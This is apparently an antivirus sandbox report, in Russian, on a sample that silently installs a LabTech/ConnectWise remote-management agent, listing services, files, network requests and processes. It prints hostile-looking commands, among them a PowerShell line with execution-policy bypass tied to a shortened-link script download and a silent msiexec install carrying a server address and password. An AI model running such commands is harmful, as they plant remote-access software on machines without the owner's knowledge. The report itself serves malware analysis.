Техническая информация
Для обеспечения автозапуска и распространения
Создает следующие сервисы
- [<HKLM>\System\CurrentControlSet\Services\LTService] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\LTService] 'ImagePath' = '%WINDIR%\LTSvc\LTSVC.exe -sLTService'
- [<HKLM>\System\CurrentControlSet\Services\LTSvcMon] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\LTSvcMon] 'ImagePath' = '%WINDIR%\LTSvc\LTSvcMon.exe -sLTService'
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\net.exe' stop LTSvcMon
- '%WINDIR%\syswow64\net.exe' stop LTService
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\brfhvg7j.0.cs
- %WINDIR%\installer\{58a3001d-b675-4d67-a5a1-0fa9f08cf7ca}\labtech.ico
- %WINDIR%\ltsvc\cwa.components.systemeventing.dll
- %WINDIR%\ltsvc\lttray.exe.config
- %WINDIR%\ltsvc\lttray.exe
- %WINDIR%\ltsvc\ltsvcmon.exe.config
- %WINDIR%\ltsvc\ltsvcmon.exe
- %WINDIR%\ltsvc\ltsvc.exe.config
- %WINDIR%\ltsvc\ltsvc.exe
- %WINDIR%\ltsvc\interfaces.dll
- %WINDIR%\ltsvc\labtech.ico
- %WINDIR%\ltsvc\janus.dll
- %WINDIR%\ltsvc\communicationlibrary.dll
- %WINDIR%\ltsvc\websocket4net.dll
- %WINDIR%\ltsvc\connectwise.system.wrappers.dll
- %WINDIR%\temp\labtech\ltagentinstall.log
- %WINDIR%\temp\labtech\installer\agent_install.msi
- %TEMP%\brfhvg7j.dll
- %TEMP%\res712.tmp
- %TEMP%\csc702.tmp
- %TEMP%\brfhvg7j.out
- %TEMP%\brfhvg7j.cmdline
- %WINDIR%\ltsvc\install.log
- %WINDIR%\ltsvc\ltsvcmon.txt
Удаляет следующие файлы
- %TEMP%\res712.tmp
- %TEMP%\csc702.tmp
- %TEMP%\brfhvg7j.cmdline
- %TEMP%\brfhvg7j.out
- %TEMP%\brfhvg7j.pdb
- %TEMP%\brfhvg7j.dll
- %TEMP%\brfhvg7j.0.cs
- %WINDIR%\ltsvc\interfaces.dll
Сетевая активность
TCP
Запросы HTTP GET
- http://bi#.ly/LTPoSh
- http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E.crt
- http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt
- http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/3679CA35668772304D30A5FB873B0FA77BB70D54.crt
UDP
- DNS ASK bi#.ly
- DNS ASK ra#.####ubusercontent.com
- DNS ASK au#####e.qualityip.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\ltsvc\ltsvc.exe' -sLTService
- '%WINDIR%\ltsvc\ltsvcmon.exe' -sLTService
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brfhvg7j.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES712.tmp" "%TEMP%\CSC702.tmp"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -executionpolicy bypass -command $sdate = (Get-Date 2020-01-15).toString('yyyy-M-dd'); $edate = (Get-Date 2020-01-23).toString('yyyy-M-dd'); $today = Get-Date -format yyyy-M-dd; if (!($today -g...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brfhvg7j.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES712.tmp" "%TEMP%\CSC702.tmp"
- '<SYSTEM32>\netstat.exe' -a -o -n
- '<SYSTEM32>\msiexec.exe' /i "%WINDIR%\temp\LabTech\Installer\Agent_Install.msi" SERVERADDRESS=https://automate.qualityip.com SERVERPASS=BndOZpmJrChvdODpKIbdiA== LOCATION=635 SERVICEPORT=42000 /qn /l "%WINDIR%\temp\LabT...
- '%WINDIR%\syswow64\net1.exe' stop LTSvcMon
- '%WINDIR%\syswow64\net1.exe' stop LTService
